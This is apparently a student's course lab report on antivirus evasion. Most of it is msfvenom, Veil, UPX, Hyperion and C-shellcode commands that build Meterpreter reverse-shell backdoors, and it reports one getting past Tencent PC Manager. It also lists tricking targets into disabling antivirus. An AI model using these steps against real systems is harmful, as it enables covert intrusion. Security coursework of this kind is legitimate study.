Exp3-免杀原理

一、实验任务

  • 方法

    • 正确使用msf编码器
    • msfvenom生成如jar之类的其他文件
    • veil
    • 加壳工具
    • 使用C + shellcode编程
    • 使用其他课堂未介绍方法
  • 通过组合应用各种技术实现恶意代码免杀

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

  1. 杀软是如何检测出恶意代码的
    • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。根据恶意代码的各种特殊片段形成个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含这样的特征码库中的数据则被认为是恶意代码。
    • 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
    • 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,可以理解为加入了行为监控的启发式。
  2. 免杀是做什么?
    • 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
  3. 免杀的基本方法有哪些?
    • 改变特征码
      • 只有EXE
        • 加壳(压缩壳 加密壳)
      • 有shellcode(像Meterpreter)
        • 利用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译
      • veil-evasion
      • 半手工
    • 改变行为
      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技
        • 加密通讯数据
      • 操作模式
        + 基于内存操作
        + 减少对系统的修改
        + 加入混淆作用的正常功能代码
      • 非常规方法
        • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
        • 使用社工类攻击,诱骗目标关闭AV软件。
        • 纯手工打造一个恶意软件

三、实验内容

1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器

  • 1.1 使用msf编码器生成后门程序及检测

    输入指令

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 -f exe > 20181209_backdoor.exe

  • 验生成的20181209_backdoor.exe后门程序通过VirusTotalVirSCAN进行检测

  • VirusTotal检测结果如下下:

  • 一次编码

  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 LHOST=192.168.248.128 LPORT=1209 -f exe > 20181209test.exe

VIRUSTOTAL检测

可以清楚地看到,70个查杀软件中有54个可以检测到这段恶意代码。

msfvenom多次编码

  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.248.128 LPORT=1209 -f exe > 20181209test.exe

VIRUSTOTAL检测

可以清楚地看到,68个查杀软件中有48个可以检测到这段恶意代码。

1.2 msfvenom生成如jar之类的其他文件

  • 输入指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 > 20181209.jar
  • VIRUSTOTAL检测
  • 这个jar包61个程序中有35个程序检测到了恶意代码

1.3生成PHP后门程序

输入指令

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 x> 20181209php.php

拖到VIRUSTOTAL中检测

这个PHP包58个程序中有18个程序检测到了恶意代码

1.4生成Android后门程

输入指令

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 x> 20181209android.apk

拖到VIRUSTOTAL中检测

这个APK包64个程序中有33个程序检测到了恶意代码

1.5生成jsp文件

输入指令

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.128.248.128 LPORT=1209 x> 20181209jsp.jsp

拖到VIRUSTOTAL中检测

这个JSP包60个程序中有35个程序检测到了恶意代码

2.veil

2.1 veil的安装过程及问题解决

输入sudo apt-get install veil安装veil

安装成功后,输入veil,然后会弹出Python的安装界面。

点击next之后页面卡住了

输入use evasion 命令进入veil-evasion

输入命令use c/meterpreter/rev_tcp.py 进入配置界面

  • 置反弹连接IP地址(kali的IP)

    set LHOST 192.168.248.128
    
  • 设置端口`

    set LPORT 1209
    

输入generate 生成文件,接着输入生成的playload的名称veil_c_1209 ,保存路径为:/var/lib/veil/output/source/veil_c_1209.exe

结果无意外

2.2加壳工具

压缩壳:upx

  • upx 20181209test.exe -o 20181209upxed.exe
  • 扫一下,试一下 拖到VIRUSTOTAL中检测

加密壳:Hyperion

  • 将要加密的恶意代码拉到/usr/share/windows-resouces/hyperion/

  • 进入/usr/share/windows-resources/hyperion/

  • 执行wine hyperion.exe -v 20181209upxd.exe 20181209hyperionupxd.exe

使用VirusTotal进行扫描

2.3使用C + shellcode编程

首先用C语言生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 -f c

创建一个20181209.c文件,并且将刚才生成的unsigned char buf放进去

使用命令:i686-w64-mingw32-g++ 20181209.c -o 20181209.exe编译这个.c文件为可执行文件

使用VirusTotal进行扫描

3.通过组合应用各种技术实现恶意代码免杀

·选用shellcode+加壳试一下

·首先用C语言生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.248.128 LPORT=1209 -f c

创建一个20181209.c文件,并且将刚才生成的unsigned char buf放进去

使用命令:i686-w64-mingw32-g++ 20181209.c -o 20181209.exe编译这个.c文件为可执行文件

在经历压缩壳

upx 20181209.exe -o 20181209upxd2.exe

在经历加密壳:Hyperion

  • 将要加密的恶意代码拉到/usr/share/windows-resources/hyperion/

  • 进入/usr/share/windows-resources/hyperion/

  • 执行

    sudo wine hyperion.exe -v 20181209upxd.exe 20181209hyperionupxd2.exe
    

    扫描 未发现 嘿嘿 好像是成功了

4.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

与之前实验二步骤相同

  • 使用Msfvenom生成raw格式的shellcode:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.248.1 lport=1209 -f raw -o 20181209.raw
    
  • 打开msfconsole进行监听,输入以下指令:

use exploit/multi/handler         //监听设置payload set payload
set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
set LHOST 192.168.248.128       //Linux端的IP地址 
set LPORT 1209    //与之前输入的端口号一致
exploit    //开始监听
  • 在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20181209.raw

  • 观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20181209.raw通过检测。

会连成功 没有发现

两个风险为残留快捷方式

  • Windows版本:Windows 10;杀软:腾讯管家

四、实践总结与体会

做这个实验的时候,对上一个实验理解更透彻了,运用也更熟练了。 这个实验证实了我一直就有的想法,杀毒软件有的时候其实没什么用,真正可怕的木马发现不了,想安装的软件倒是被拦截了不少。我觉得实验会越来越有意思,也越来越充满挑战,从制作一个小木马到关闭杀毒软件控制主机,再到开启杀毒软件能控制主机,依旧期待之后的实验。对于实验思路还是比较清晰的,就是在实现的时候......水平令人难过。

开启杀软能绝对防止电脑中恶意代码吗?

我认为杀软在一定程度上防止某些恶意代码,但不可能是防止所有的恶意代码。

恶意代码层出不穷,我们需要经常更新杀软,这样我们才能用杀软防御一些没有见过的恶意代码。

posted @ 2021-04-01 16:15  STong66  阅读(190)  评论(0编辑  收藏  举报